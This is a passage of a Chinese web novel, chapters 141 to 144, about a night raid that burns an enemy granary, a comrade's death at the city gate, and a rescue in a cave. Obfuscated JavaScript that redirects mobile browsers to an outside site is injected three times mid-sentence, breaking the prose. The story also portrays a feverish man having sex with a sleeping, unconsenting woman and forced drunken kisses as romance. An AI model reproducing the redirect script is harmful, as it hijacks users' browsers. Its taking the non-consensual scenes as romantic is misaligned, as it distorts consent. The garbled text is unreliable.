望着那张英挺俊逸的脸,芷萱小声嘟囔着:“真是大男子主义,还死要面子。”她忍着气,仍继续劝道:“要不咱们再想想别的办法?穿越冷水江实在太危险了。”这一次,芷萱说话的语气更加温和。 凌牧云当然能看出来芷萱在向自己妥协,在跟自己好好商量。 凌牧云有些心软,于是温柔解释着:“虽说一将功成万骨枯,但这句话在我这里不适用,只要我还能想到更好的办法,我就不能让任何一个士兵枉死。办法我都想过了,只有这个是成本最小的。” “你…你…你这人怎么油盐不进啊?” “好,我给你,也给自己一次机会,如果你答应我,我就不去了。” 听凌牧云这么说,芷萱莫名地心跳加快,“什么…机会?” “如果你对我说你心悦我,并且愿意嫁给我,我就放弃去冒险。” “你…你怎么?你怎么趁人之危?”面对凌牧云有危险,芷萱有那么一瞬间真的心软了,确实想说自己愿意嫁给他,哪怕只是暂时答应他,过后再反悔也可,只是这样的话芷萱太难为情,仍说不出口。 芷萱只是犹豫了片刻,凌牧云开口道:“好啦,你出去吧,刚才的话我说着玩的,你就当我没说过。” 话音甫毕,芷萱心中的紧张一时转为失落。 凌牧云料想芷萱不会答应自己,刚刚那么说不过就是让芷萱知难而退。可这一次凌牧云猜错了,如果他再耐心一点,再沉默片刻,也许芷萱的话就说出口了,那么这份缘也就不用再继续兜兜转转,错过又擦肩。 纵然芷萱心中有千言万语,也不知该怎么劝,因为她也拿不出更好的方案。 芷萱觉得好像有根刺梗在心头,疼着、痛着、憋闷着。她站起来向着帐外迈着步子,走到门口的时候低声道:“我言尽于此,那你好自为之吧。” 凌牧云没有开口说话,因为战场上任何事情都可能发生,他保证不了什么。 芷萱走出营帐,心中充满无力感。她很想说几句关心凌牧云的话,可一对上凌牧云的如炬双眸,芷萱就一句话也说不出来。 之后,芷萱去找了石磊,叮嘱道:“石磊,今晚若有机会,你一定要和仲华全力攻城。” 石磊面色一怔,“那萱将军,你……” “我还有其他的事,就不随你们一路去攻城了。还有,不要告诉凌牧云我来找过你。” 凌牧云稍事准备后就骑马出发了,芷萱不敢跟的太近,她怕牧云发现自己。 子时,凌牧云背着弓箭骑马到了朔州城西,面前是滔滔江水,声如雷吼。冷水江水流湍急,所以封江日子要晚一些。 凌牧云并未过多犹疑,来到江边便跳入水中。顿时,寒水冷得他浑身酥麻,他甚至感到自己的骨头缝里都浸着寒意,好似有千万只蚂蚁在咬噬着自己的全身,痛彻心扉。 凌牧云来不及细细感受这份痛,他咬着牙奋力朝着朔州城西侧城墙游去。此时,芷萱也追着他赶到了这里,借着月光,见凌牧云在刺骨的寒水里挥动着胳膊,芷萱的心疼极了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136979|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌牧云上演孤胆英雄,即使如男儿性格的芷萱,眼前也蒙上一层水雾。芷萱每看一眼江水,就会气呼呼小声骂道:“凌牧云,你个混蛋,冻死你才好呢。我不来跟你打仗,你偏要我来,你让我来看你找死吗?” 虽然冷水江只有四百米左右,可由于江水奇寒又奔流汹涌,凌牧云游到一半的时候已经体力透支严重,他咬牙强撑着,才游到了对岸。 江水几乎挨着城墙脚下流过,凌牧云只能坐在江边的大石头上稍稍休息。 江边的风大,牧云的衣服又全湿透了,寒风呼啸一过,他更觉寒冷无比。 凌牧云拿出飞爪钩用力向上扔去,飞爪钩钩住了城墙的石砖,他用力抓住飞爪钩的绳子攀爬上了城墙顶。 凌牧云站在城墙顶,风一吹,身体抖得更加厉害,几乎站都站不稳。芷萱站在江对面,虽然看得不真切,但她也能感同身受。 凌牧云悄悄地在城墙上走着,他仔细观察着城墙上和城墙下的情况。本来城墙上也是有蒙古兵把守的,只是天气太冷,时间又过了子时,蒙古兵认为骁扬军不会在这个时候来偷袭的,于是大多数蒙古兵便松懈了守卫,找地方偷偷睡觉去了。 凌牧云走了几十米,尽然看见了那海的粮草和军械库。凌牧云大喜,如果能烧掉那海的“家底”,那么那海抵抗的信心和意志就会折半,到时候芷萱、石磊和仲华攻城也会事半功倍。 凌牧云拿出怀里早已准备好的油包和火石,还好两样东西用油毡纸包裹得严,所以刚刚游江时都没有沾水。 凌牧云拔出箭,将小油包缠在箭头上。他弯弓搭箭,用尽全身力气将弓拉满,随着“嗖”的一声,箭在寒风中射出。顷刻间,那支箭射中了装粮食的麻袋,油包也随之破裂,箭头四周的麻袋上沾满了油。 随后,凌牧云用火石摩擦打燃了火,然后又拿出一支箭,将箭头点燃。凌牧云再次用力拉弓时,已比刚刚吃力了许多。游了一次冷水江,如同在鬼门关走了一趟,凌牧云的体力几乎被耗光了,他全凭意志和信念在坚持。 良久,凌牧云终于将弓拉满,他稳住双手,瞄准刚才油包的落点位置,一击命中,装粮食的麻袋瞬间燃烧起来。 凌牧云如法炮制射箭,粮仓内已多处起火。紧接着,他又将兵器库的兵器点燃。粮库和兵器库都被点燃了,凌牧云终于展颜而笑,他知道这样一来,石磊和仲华攻城的希望就大了许多。凌牧云满心憧憬着,可能几个时辰后就可以给叶阳晨发捷报了。 如果此时凌牧云快速离开,便可成功逃掉。只是他一直在射箭,他要将火势扩大,大到蒙古兵无法扑灭的程度,那样才能算是真正的大功告成。 火势迅猛,粮仓和兵器库冒起了浓烟,等到蒙古兵发现的时候已经迟了,可即使这样,城内救火的喊声四起。 城墙上也上来了几个蒙古兵,这个时候,凌牧云再想顺着百爪钩的绳子爬下城墙已来不及。 此时,城墙上的蒙古兵越来越多,他们拿着刀向凌牧云砍来。凌牧云边和敌人打斗,边燃放星光昼。一时分心,凌牧云的左肩被划了一刀,伤不重,但还是流出血来。 凌牧云终于成功燃放“星光昼”,一道白光冲上星空。芷萱看到这一幕,眼眶湿润了。凌牧云以一己之力换来胜利的可能,无论她心里有没有这个人,都被凌牧云的豪气折服。那一刻,在芷萱心中,凌牧云不再是不可一世的凌帮主,而是披肝沥胆,执剑为民的英雄。 他们这群人,本可以避世隐居,也可以安乐逍遥,是胸有家国情怀,是心系黎民百姓,才让他们放弃了自由自在的生活。 凌牧云也不再与蒙古兵纠缠,纵身一跃,从十几米高的城墙上跳下,落入江水中。凌牧云刚刚横渡冷水江的时候,力气已经基本被耗光,加之现在他左肩又受了点伤,更是无法再游回对岸。 凌牧云甩胳膊划了两下水,伤口浸入到冷水中,疼痛入骨难以忍受。凌牧云呛了几口水,便被江水冲到更北部的下游去。 牧云落入水中的情景,芷萱看得清清楚楚,她擦干眼前的水雾,打马向着冷水江下游奔去。如果凌牧云真有闪失,芷萱怎么都不会原谅自己。 142. 第一百四十二章 与此同时,早已潜伏在朔州城外的石磊和仲华率兵攻城。 那海虽已知粮仓失火,但他仍想困兽犹斗,下严令全体将士必须全力抵抗,不得弃城。不过粮仓和兵器库相继失火,还是引得城内异常混乱,也严重动摇了蒙古兵的军心士气,这为石磊和仲华攻城给了很大助力。 石磊和仲华强行攻城,废了好大的力气终于将城门闩撞断,朔州城门终于被打开一个缝隙。可城内的蒙军用力推着城门,并找来木桩想要强行再将城门关上。 情急之下,石磊跳下马跑过去,用身体抵住门缝。蒙军依然用力推门,石磊口吐鲜血,最终被两扇门活活夹死。 仲华见到如此悲惨的一幕,恸声大喊道:“石磊……” 石磊死前用力一喊,声动天地,“仲华,攻进城去,永远替我陪在少主身边。” 仲华与石磊从小一起长大,又是那么多年出生入死的兄弟,他怎么都接受不了石磊的壮烈牺牲,一时泪洒当场。可能是太过悲伤,仲华竟跌下马,他也顾不上疼痛,拼了命地往城门处跑,好在被下属拉住。 仲华眼里燃起愤怒的火焰,喉咙中爆发出嘶吼的声音,“全体人给我攻城,攻不下来就拖着蒙古人一起死。” 可能是石磊的牺牲让骁扬军太难过,也可能是仲华的铮铮豪言给了将士们鼓舞,随后,仲华带着骁扬军像海潮一般涌入朔州城,城破,惨胜。 确实如凌牧云期盼的那样,骁扬军以伤亡代价最少攻破了朔州城,只是他还不知道自己最好的兄弟在这场战争中战死,得失之间,令人哀叹。 那海见大势已去,遂带着残兵从朔州城北门出逃,而这一次他索性一直逃回归化才停住,因为他知道如果他逃得不够远的话,骁扬军不多久又会打过来。 朔州城打下来后,仲华就坐在城门洞下,整个人像着了魔一般,嘴里不停地重复:“说好的什么都要一起,石磊,你怎么可以提前走呢?你说你要看着我成亲,你说将来要做我孩子的干爹,你还说要教他武功,这些你怎么都能不算数了呢?” …… 另一边,叶芷萱骑马半个时辰,才在冷水江下游的浅滩处发现了凌牧云。她跳下马,跌跌撞撞地跑过去,她涕泪横流,生怕发现的只是凌牧云的尸体。 芷萱跑到凌牧云的身前,她吓得四肢虚软无力,顺势扑通一下跪倒。顾不上膝盖上的痛,芷萱将手颤颤巍巍地伸到牧云的鼻端,虽然牧云的气息很弱,但还好,人总算还活着。 得知牧云没有死,有了这一丝希望,芷萱喜极而泣,她把凌牧云紧紧抱在怀里。此时,凌牧云身上没有一丝温度,芷萱放佛抱着的是冰块,但她就是能感觉到心间有一种劫后余生的温暖。 少顷,紧张、担心、害怕,所有的情绪都渐渐释放出来,芷萱终于泪如雨下,仰天哭喊:“凌牧云,你个混蛋,我恨你。” 可能是刚刚担心害怕过度,芷萱觉得浑身一点力气都没有,她废了好大的力气,才把牧云放在马背上。牧云的头和脚分置马背两端,这样方便他将喝进肚子里的江水吐出来。 芷萱牵着马走了一炷香的功夫,才发现前方有一个山洞,她将凌牧云背了进去。 芷萱找来一些干草和枯树枝,燃了一堆火。牧云浸在水里太久了,浑身太凉了,芷萱把牧云放在火边,希望他能暖和一些。 还好,芷萱怕牧云此次行动会受伤,所以她从营地里出来的时候就带了小药箱。目前当务之急,是要帮凌牧云止血并包扎伤口。 芷萱把牧云上身的衣服脱下来,露出他肩膀处的伤口。给男人宽衣,芷萱从未做过这样的事,她的脸不由得一红,只是情况紧急,她也顾虑不了那么多了。芷萱把牧云肩膀处上了药后,再用布条一圈又一圈地缠好。 伤口包扎完后,芷萱发现凌牧云的嘴唇已冻得发白,任她怎么叫,凌牧云就躺在那里一动不动。芷萱摸了凌牧云的胳膊、肩膀等处,确实身体冰冷,毫无一丝温度。 此刻,芷萱陷入左右为难,心想:“牧云的上身衣服已被脱下来,可牧云下身的衣物还是湿冷的。如果身上继续穿着湿衣服,牧云身上是不会暖和起来的,相反,情况肯定会更糟的。”可脱去下身的衣物这么私密的事,芷萱怎么都做不来。她一时心乱极了,真的不知该怎么办好。 芷萱踌躇良久,这才褪去了牧云下身的衣物。虽说是救人,可芷萱每帮牧云脱下一件衣裳,自己的脸就会红上一层。好在凌牧云还处在昏迷状态,芷萱心里才稍稍好过一点。 可这还是远远不够,无衣蔽体的牧云还是会很冷,芷萱能能看到他冷得身体在抖,嘴唇在打颤,可这个山洞里并没有干爽的衣服帮他换上。 纠结再三,芷萱也只好将自己的外衫脱下给牧云披上。随后,芷萱揉搓着手,待手温上升后再热敷在牧云的胳膊和手臂等处。可是用这样的方式帮牧云取暖,根本是杯水车薪。 无论是烤火,还是搓手热敷,用这样的办法让凌牧云的体温回升是需要很久时间的,而凌牧云现在的身体状况撑不了太久。芷萱知道,必须在尽可能短的时间让凌牧云的身体暖起来,否则冷气攻心,人就救不回来了。 芷萱摸了摸凌牧云的脉搏,发现他的脉搏也越来越微弱。芷萱急得快哭了,她真怕牧云有任何闪失。芷萱心情清楚,现在要想让凌牧云的体温迅速回升就只剩下一条路,只剩下一个办法,但是那个办法她做不到,她真的做不到,她紧紧咬住下唇,心中天人交战。 良久,芷萱哭着轻解腰间的丝带,手也放在衣扣上。衣衫一件件落下,她露出光莹如玉的身体,因蒙上一层火光,更显风韵。芷萱含泪伏在了牧云身上,她身子冰清玉洁,还从未与男人有过肌肤之亲,虽是为了救人,但一时心里难过至极。不过芷萱也在心里一遍遍地安慰自己:“凌牧云曾救过自己一命,这次自己也算是还了。” 这样与男人抱在一起,芷萱心如撞鹿,她放佛能清晰听见自己的心跳声,而且越来越响。过了许久,芷萱才慢慢适应,心跳才慢慢降下来。牧云身上太寒了,芷萱也感觉自己快要被冻死了,她咬牙坚持着抱了牧云好一会儿,才感觉牧云身上终于有了些温度。 这一夜担惊受怕的,芷萱也累了,渐渐地,她趴在牧云身上睡着了。也不知睡了多久,芷萱感觉下身隐隐作痛。她还以为是在做梦,可当她缓缓睁开眼,却发现牧云压在自己身上。 等芷萱完全明白过来,已经来不及了,她知道自己完全失身于凌牧云,叶芷萱有点气,试图推开凌牧云,可凌牧云就像个溺水的人抓住了浮木,怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149269|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不肯松开她半点。一阵热浪起伏之后归于平静,牧云又趴在芷萱身上睡着了。 芷萱的眼角流下泪来,她只能尽量安慰自己:“或许当她决定用自己身体去温暖凌牧云,救牧云时,便已不再是清白之身了,刚刚不过是把自己完完全全给了凌牧云罢了。” 虽然人是救活了,但芷萱毕竟不是在完全心甘情愿下委身,心里还是非常伤心难过,或者说是遗憾。而且芷萱是强势的,她竟不知失身时竟是完全被凌牧云占据和控制,这种感觉令芷萱心有异样。 半晌,芷萱从失落的情绪中抽离,才发现牧云身上滚烫得像一团火。她又摸了摸牧云的额头,发现牧云正在发热。 知道牧云在高烧,芷萱反而有些释怀,想来牧云刚刚对自己那么“无礼”,大概是烧糊涂了吧。凌牧云在神智不清醒的情况下做出的错事,芷萱都没办法真正去怨恨他。 芷萱坐起来穿好自己的衣衫,然后从药箱里找出去热得药喂了牧云服下。 凌牧云的衣服也已经烤干,芷萱帮着凌牧云穿好。虽然只是过了一夜,但芷萱再看牧云的脸时,心里已会生出各种异样的情结。这种情结甚至比在水望云岛治伤那次还要复杂,还要亲密。 不管凌牧云走没走进芷萱的心,但不争的事实是,他已是芷萱生命里的“男人”,自然在芷萱心中的地位不同旁人。芷萱打定主意,既然自己已经失了身,大不了这辈子不嫁人就是了。 天已大亮,芷萱就这样精心地照顾着凌牧云。直到又过了一日,凌牧云才醒来。 那一刹那,芷萱有些开心,“你终于醒了。” 凌牧云哑着嗓子,“这是…哪里?” “昨晚,不对,是前天晚上,你去翻朔州城墙了,你还记得吗?” 凌牧云语气低缓,“哦,我想…起来了,后来我…跳到冷水江里了。” 芷萱没有接他的话。 凌牧云声音低沉,“后来是你…救了我?” “这里还有别人吗?”见牧云醒来没事,芷萱是喜悦的,可短暂开心后,她便想起昨日凌牧云“欺负”了自己的事,顿时心中气恼。但她还不能将此事说出来,真是憋气。 凌牧云连续咳嗽了几声,“有水吗?我好渴。”芷萱找来水,喂他喝下。虽然昨天芷萱一直在帮牧云喂水,可牧云发烧,仍感觉很口渴。 凌牧云虽然醒了,但身体还是有些虚弱,芷萱只好继续陪牧云待在山洞里。 当日晚上,凌牧云感觉更好了一些,他已经可以坐起来了。 两人说话时,牧云突然说道:“芷萱,我昏迷的时候做了个梦,我太冷了,感觉有个女孩抱着我……”凌牧云那时烧得糊涂,他实在不能确定芷萱委身自己的事是不是真的,所以只好把话说得隐晦,试探着问问。 叶芷萱气急败坏,连忙打断他,“你昏迷的时候都爱想这些龌龊的东西吗?思想怎么那么肮脏啊?” “我…我没别的意思……” “你最好没有别的意思。”叶芷萱也觉得刚才自己的表现有些过激,于是躺下转过身去不再看凌牧云。 牧云想了想,那大概真的是自己昏迷时做的梦吧,他自己也不相信芷萱会用那样的方式救自己,毕竟自己前阵子表白还被芷萱拒绝过。 143. 第一百四十三章 又过了一日,牧云的身体情况已基本上恢复了,他和芷萱准备回到朔州城,他们两人还不知道现在的朔州城已经是骁扬军的天下了。由于只有一匹马,俩人只好共乘一骑。虽然凌牧云只是牵着缰绳,但芷萱总是感觉凌牧云在抱着自己,浑身很是不自在,但气话又说不出口。 进了朔州城后,凌牧云骑得慢了些。战争中受苦受难的始终都是百姓,仅仅过去三天,他见朔州城已是一片狼藉,破瓦颓垣,残幌碎匾,不由得一声叹息。芷萱感觉到凌牧云的情绪低落,但又不知怎么安慰他。 凌牧云打听一番,骁扬军在朔州的大本营安在了原知州府邸。他们两人来到府邸,双双下马。 这几日,凌牧云失踪,急坏了骁扬军众人,尤其是仲华,更是派了好几批人去找寻凌牧云的下落,皆无所获。仲华虽心急如焚,但想到开战之前叶芷萱就不在军营了,他猜芷萱应该与自己的帮主在一块儿,两人多少有个照应,这多少给了仲华些许安慰。 凌牧云进了府,下人禀报后仲华跑着迎了出来,眼眸里充满惊喜,“少主,你总算回来了,仲华担心死了。” “别担心,我这不是回来了吗?这次你和石磊辛苦了。” 提到石磊的名字,仲华霎时一脸悲伤和落寞。 凌牧云察觉到仲华的神色有异,于是忧心问道:“石磊是出了什么事?伤得很重?” 与石磊的急性子不同,仲华一向稳重沉得住气,所以凌牧云料定是发生了大事,否则仲华不会这样,只是他不会想到结果会那么坏。 仲华微微垂下头,“少主,我们还是先进去再说吧。”凌牧云一听仲华那么说,心凉了半截。 连同芷萱,三人来到正厅,都坐下后,牧云的手紧紧攥住椅子的扶手,表情冷沉,“快说。” 仲华话未出口,便已哽咽,“石磊他……” 凌牧云厉声一吼,“他怎么了……”在芷萱眼里,凌牧云从来都是风度翩翩,霁月清风的样子,还从未如此失态过。 “石磊他…他…战死了。”仲华艰难说出来。 话音未落,凌牧云一掌劈断了椅子扶手,一字一顿道:“怎…么…回…事?” 仲华颤声道:“他以一己之身抵住城门,我们才冲进了城。” 芷萱并非感性的女孩,但听到石磊以这种方式战死也心如刀绞,眼眶里更是噙满泪水。她没想到朔州这一战,胜得竟是如此惨烈。那一刻,芷萱甚至有点理解了凌牧云为什么要孤身去闯朔州城,可结果还是出了石磊战死这个意外。 凌牧云听不下去了,他沉默着,哀痛着,他要让心中的血慢慢滴一会儿,只为石磊的英勇而流。半晌,凌牧云才沉声问道:“他下葬了吗?” 仲华如实道:“还没,棺材停在后院。大家都在等你回来,石磊也在等你。” 凌牧云自言自语,低声自责道:“可我还是回来晚了。” 这时,仲华从怀里掏出一封信递给凌牧云,“少主,这是石磊离开后,我从他身上找到的。他好像预料到自己会……” 凌牧云狠狠地攥了攥拳头,指关节处渐渐发白,发出咯吱咯吱的响声,然后才打开信,上面写着:“牧牧,好久没这么叫你了,今天我就不叫你少主了,我就造次这么一回。” 读到“牧牧”两个字,凌牧云喉咙一酸,他想起小时候和石磊和仲华一起长大,石磊和仲华都是那么叫自己的。反而长大后,仲华和石磊才改了口,叫自己少主。 凌牧云按下心中酸涩,继续读着信,“当你看到这封信时,我想朔州城已经在我们手里了吧?如果是那样的话,我死了在那边都能笑出声,真他娘的痛快。” “牧牧,自小,我、你、还有仲华,我们三人都在霁月湖长大,逍遥自在了那么多年,也是值了。但是兄弟我知道你一直有个心结,那就是你身为将门之后,没能纵马疆场始终会觉得遗憾,这次我们一起出来,我也算是帮你完成心愿了。世间之事,难有十全十美,我们这些大老爷们,行事无愧于天地就好,所以以后你就不要再和自己较劲了。” “最后,我有个小事要食言了。小时候我们三兄弟常说,生在霁月湖,死在霁月湖。但是现在我改变主意了,希望你别怨我。我希望死后埋在朔州旁的光明峰,我要在那里望着看着朔州城,看着我们一起走过的路。那样的话,就好像我们还一起上战场了。我这个心愿,希望少主能成全。” “煽情的话我就不说了,那不是我的风格,未说的话,希望来世有机会再说” “四块石头”绝笔。” 儿时,凌牧云就一直嘲笑石磊的名字,他的名字都是由石头组成的,凌牧云就说石磊是从石头缝里蹦出来的,就给他起了个“四块石头”的外号。每每凌牧云这么叫他,他就笑着反驳,说他有石头的坚韧,更有石头的光明磊落。 信读完了,凌牧云再次将拳头攥紧,发白关节发出“咔咔”的声响。芷萱见凌牧云如此悲恸,她感同身受,心中也跟着凌牧云一起难过。芷萱很想安慰凌牧云几句,可她明白此时任何话语都是苍白的,那种从小长大的情谊,不是亲兄弟,胜似亲兄弟,不是三言两语就可以将凌牧云从痛苦中抽离出来的。 三人沉默片刻,凌牧云哀伤道:“仲华,立刻命人制碑,准备所有殡葬用品,明日我们上光明峰,让石磊入土为安。” “是,少主。”说完,仲华抹着眼梢转身离开。 翌日一早,凌牧云带着众人,亲自抬棺去了光明峰。光明峰顶风光无限,在那里可以俯瞰整个朔州城,也可以看见朔州城西侧的冷水江。凌牧云觉得这个地方风水不错,石磊长眠此处也可以安息了。 石磊的葬礼很是风光气派,光是到场参加葬礼的士兵就有几千人,那日的光明峰顶可谓人山人海。 石磊是骁扬军出征以来战死的第一位高级将领,他的棺椁下葬后,众人致哀良久。石磊所用的外棺是石制的,椁座及椁壁刻有战马的浮雕,精美绝伦。这石椁是仲华自石磊死后就开始准备的,几日来,他让工匠加班熬夜,终于在昨日将石椁赶制出来了。仲华做了所有他能做的,就是想让自己的兄弟死后也能体面些。 葬礼的议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157258|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程结束后,凌牧云哀伤说道:“仲华,你带所有兄弟们下山去吧,我想自己一个人待一会儿,我再跟石磊说说话。”凌牧云只要一想到自己出征前,石磊还好好的,等自己回来时已经天人永隔,他就仍会难过得不能自已。 仲华想劝慰凌牧云几句,但他自己都没有走出悲伤,自觉任何安慰的话都是多余的,想来想去只留一下一句,“好的,少主。” 众人浩浩荡荡下了山,凌牧云没有回头,但是能感觉到芷萱并没有走,于是问道:“你还在这儿做什么?” 凌牧云这种冷漠语气,令芷萱有点生气,因为以前凌牧云从不会这样跟自己说话。但她知道是凌牧云此时心情不好,也就没太计较。 叶芷萱很想对凌牧云说,自己留下来是为了陪你,可这种话她怎么可能说出口呢。芷萱犹豫片刻,才支吾道:“这地方挺舒服,我想在这儿坐一会儿再走。” “想找舒服的地,去别的地方,这里不是你放松心情的地方。”凌牧云心中积攒了太多伤痛,也压抑了太多对蒙古人的恨意,所以才口不择言了。平日里,他怎么都不会这么跟芷萱说话。 “我想陪你待一会儿。”叶芷萱被凌牧云气得终于说出了心里话。 “你不是很讨厌我吗?今天怎么转变了?” “你…你竟然吼我…你不要后悔……”芷萱气得转身就走,可走到下山的路口处,她又停住了脚步,坐在了路边。芷萱抓了一把路边的野草,一片片地撕着,“凌牧云你个混蛋,你这样对我,你等着。早知道我前几日就不救你了,你死了算了。” 虽然嘴上这样骂着,叶芷萱还是不愿留凌牧云一个人在山上而自己离开。她原想着凌牧云待一会儿也就下山了,可等到天完全黑下来,凌牧云都没有出现。 叶芷萱怕凌牧云出事,于是又折返上了峰顶。来到石磊的墓碑处,借着月光,她看见凌牧云躺在那里,身旁都是酒罐子,酒坛子。 芷萱连忙抱起凌牧云,似是责备似是关爱,“你怎么喝这么多?你醒醒。喝死你就好了。” 凌牧云醉得完全不省人事,任芷萱怎么叫他都没有任何反应。 寒冬临近,山顶的风更大,凌牧云又喝了酒,如果把他一个人丢在这里非冻死不可。芷萱无奈,只好先背着凌牧云往山下走。喝了酒的人,比平时更重了些,芷萱勉强背得动他。 下山的路上走上几百米,刚好有个山洞,芷萱想着只能在这山洞里将就一晚,明日再下山了。背着凌牧云走上这么短的路,她已经累得气喘吁吁,要是把凌牧云背下山回府,芷萱是万万做不到的。 进了山洞,生起火堆,芷萱找来山泉喂凌牧云喝下去,帮他解酒。 凌牧云喝水呛到了嗓子,咳了几声,然后搂住芷萱的腰。 芷萱试图推开凌牧云,“你干什么?你这个醉鬼。” 凌牧云身体一时失重,压在了芷萱的身上,不知是巧合,还是有意,他吻上了芷萱双唇。这一吻让芷萱心中一荡,不过她很快反应过来,连忙用全力推开了牧云,“你个混蛋,你在对我做什么?” 144. 第一百四十四章 可能是芷萱推的力气用得大了些,凌牧云被推倒,头正好磕在石头上。 凌牧云昏着低声道:“疼…疼……”虽然磕碰得不至于很严重,但他头皮处却出了点血。 芷萱凑过去又把凌牧云扶起来,发现他果真受伤了,连忙扯下外衣的内衬帮凌牧云包扎,嘴里还低声抱怨着:“也不知道是不是上辈子欠你的,你总欺负我,醉了都不消停。” 芷萱刚把凌牧云包扎好,扶着他躺下,凌牧云再次揽芷萱入怀,“芷萱,是你吗?别离开我,我心悦你……”说完再次吻住了芷萱的双唇。 芷萱下意识地想再推开凌牧云,但又想到他已经被自己推得受伤了,便不敢再动手推他了。芷萱挣扎不了,就只能任由凌牧云吻着。初时,她满心委屈难过,甚至有点受辱的感觉,但随着凌牧云的温柔情浓,芷萱渐渐沦陷了,她觉得心里痒痒的,暖暖的。芷萱感觉自己头晕目眩,浑身酸软无力,胸口更是急剧起伏。虽然芷萱已经失身于凌牧云,但两人接吻还是第一次。 对芷萱来说,那是从来未有的感觉,那也是她第一次体会到一点男女之情是怎么回事,也第一次知道了接吻是什么感觉。良久,凌牧云才稍稍放开芷萱,芷萱抿了抿双唇,刚要起身,又再次被凌牧云搂住。 牧云嘴里低语,“别走,陪陪我。” 芷萱被拉着,她试图挣脱,但凌牧云又紧了紧双臂,芷萱不敢太用力,见凌牧云没再“欺负”自己,她也就只好“忍着”躺在凌牧云的臂弯里。 芷萱就这样待在牧云的怀里一夜,天重新亮起来,凌牧云终于醒来。见芷萱躺在自己怀里,他是又惊又喜。牧云怎么都想不起来昨天发生了什么,但他记得昨天自己在石磊墓前喝了很多酒,也就不难猜到是芷萱留下来照顾了醉酒的自己。 芷萱也睁开眼,与牧云四目相对,不禁尴尬又难为情,“你醒了?” “嗯。” 芷萱坐起来,背对着凌牧云解释道:“你昨晚喝醉了,搂着我不放,我才躺在……” 凌牧云歉疚道:“对不起,昨晚我喝醉了,什么都不记得了。” 芷萱听他这么说,心里有点气,小声嘟哝着:“真是混蛋,强吻了人家又不记得。”不过,芷萱也就只会在心里这么想想,她是不好意思说出来的。 芷萱站起来,“你也醒了,我们下山去吧。”凌牧云还是觉得有点头晕,但见芷萱阴着脸,他也不敢问自己头上的伤是怎么弄的。 两人下了山,回到了府邸。 一连几天,凌牧云还是沉浸在石磊离去的悲伤中,时常喝得烂醉如泥。只是他没忘记给叶阳晨飞鸽传书,告知叶阳晨平朔西部五州全部光复。 叶阳晨一收到了凌牧云的书信就连忙将喜讯告知献帝,献帝闻之大喜,下圣旨封叶阳晨为“征北将军”。叶阳晨不愿独自领受,遂为所有出征将士请功。 既然平朔九州全部收回来了,北都也就彻底安全了,叶阳晨便急着去与清扬和牧云会和。 由于朔州才是九州的咽喉命脉,所以叶阳晨决定十二将星齐聚朔州,并打算将来以朔州为跳板继续征北。他分别给清扬和牧云送去消息,让清扬在平朔东部四周留下守军,只带着诗怡和安然赶到朔州来,而命牧云在朔州原地待命即可。 消息发出的第二日,叶阳晨带着十二将星其他人,还有留在北都城的骁扬军开赴朔州。十余天后,大军到达朔州。 到了朔州后,叶阳晨从芷萱那里得知石磊已经战死,也深为悲痛,他立即带着十二将星所有人去了光明峰祭拜。 安然还采了许多野花放在石磊的墓碑前,对逝者说了许多暖心安慰的话。 见叶阳晨以最高礼遇相待石磊,晚上凌牧云去了叶阳晨的屋子,对叶阳晨说了许多感激的话。 叶阳晨拍了拍凌牧云的肩膀,“牧云,你不要这样,我有两句话要对你说。第一句,你的兄弟就是我的兄弟。第二句,一天的兄弟就是一辈子的兄弟。” 叶阳晨继续道:“其实石磊的事,你该在心里第一时间写信告诉我的,这样我也好单独为他向朝廷请赏。” 凌牧云刚要说话,叶阳晨伸手示意他不要说,“牧云,我知道你想说什么,你想说石磊不会在乎这些虚名,对吗?他不在乎,但是我在乎。” 叶阳晨轻叹一口气,“我们这些兄弟,都是丹心碧血、披肝沥胆,我希望每个人都平安活着,不想听到任何一个人出事。但是如果不幸…我不希望他们做无名英雄。千年的文字会说话,这个名声不仅仅是为他自己得的,而是为了后代儿孙。石磊是英雄这件事,不能只有我们十二个人知道,那样我死不瞑目。” 凌牧云点头,两兄弟抱在了一起。之后,凌牧云又与叶阳晨说了一会儿话才离开。 凌牧云还不知,在叶阳晨的屋外,芷萱一直等在那里。芷萱本来也是找哥哥有事,可她刚走到哥哥住的院子,却被凌牧云抢了先,她只有等在屋外。可左等右等都不见凌牧云出来,不免小声嘟囔着:“这个家伙,也不知跟哥哥说了什么,这么啰嗦!” 见凌牧云出来了,芷萱才走进哥哥的屋子。 叶阳晨展颜一笑,“呦,我这里今天热闹啊,你和牧云一个接一个来。” “他是他,我是我。” “怎么?难道牧云又惹我妹妹生气了?” “哥,你能不能不把我与那个讨厌的人扯在一起?” 